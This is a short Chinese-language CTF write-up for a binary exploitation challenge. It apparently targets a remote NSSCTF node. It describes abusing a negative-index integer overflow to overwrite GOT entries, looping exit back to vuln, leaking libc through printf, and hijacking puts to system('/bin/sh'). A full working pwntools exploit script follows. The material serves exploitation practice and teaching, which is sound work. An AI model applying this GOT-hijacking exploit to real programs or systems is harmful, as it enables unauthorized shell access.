整数溢出,加之保护开的不全,可以反复越界修改got表,劫持puts函数实现利用
限制:v0不可以大于9?
理想中数组所在bss端地址:?
注意到与got表项距离很近
?危险函数只能执行一遍,然后回exit(0)
考虑到可以负数整数溢出,修改比seats地址还要低的区域(got表保护未开启)
1. 为了重复利用漏洞,可以将exit的got表项改为vuln函数的地址
2. 泄露libc,可以借助printf函数,覆盖setbuff的got表项为b'aaaaaaaa',然后printf捎带出来的printf的真实地址
3. 构造后门函数,还是利用puts:将puts的got表劫持为system,输入时还是复写表项之前的8个字节为'/bin/sh\x00',同时劫持got表。相当于执行system('/bin/sh\x00')
from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')
# io=process('./pwn')
io=remote('node5.anna.nssctf.cn',28925)
elf=ELF('./pwn')
libc=ELF('./libc-2.31.so')
# gdb.attach(io)
# input()
### exit_got 改为 vuln
seats=0x4040a0
exit_got=0x404040
off=str((exit_got-seats)//16)
success('exit_got+'+off)
io.sendlineafter(b'one.\n',off.encode())
vuln=0x4011D6
io.sendafter(b'name\n',p64(vuln))
### leak libc
# print(hex(elf.got['setbuf']))
setbuf=0x404020
off=str((setbuf-seats)//16)
success('setbuf_got:'+off)
io.sendlineafter(b'one.\n',off.encode())
io.sendafter(b'name\n',b'aaaaaaaa')
io.recvuntil(b'aaaaaaaa')
printf_real=u64(io.recvuntil(b'\x7f').ljust(8,b'\x00'))
success('printf_real:'+hex(printf_real))
input()
### hijack puts_got
libc_base=printf_real-libc.sym['printf']
system_real=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh\x00'))
putsminux8=0x404010
off=str((putsminux8-seats)//16)
io.sendlineafter(b'one.\n',off.encode())
io.sendafter(b'name\n',b'/bin/sh\x00'+p64(system_real))
input('++++++++++++++++++++')
io.interactive()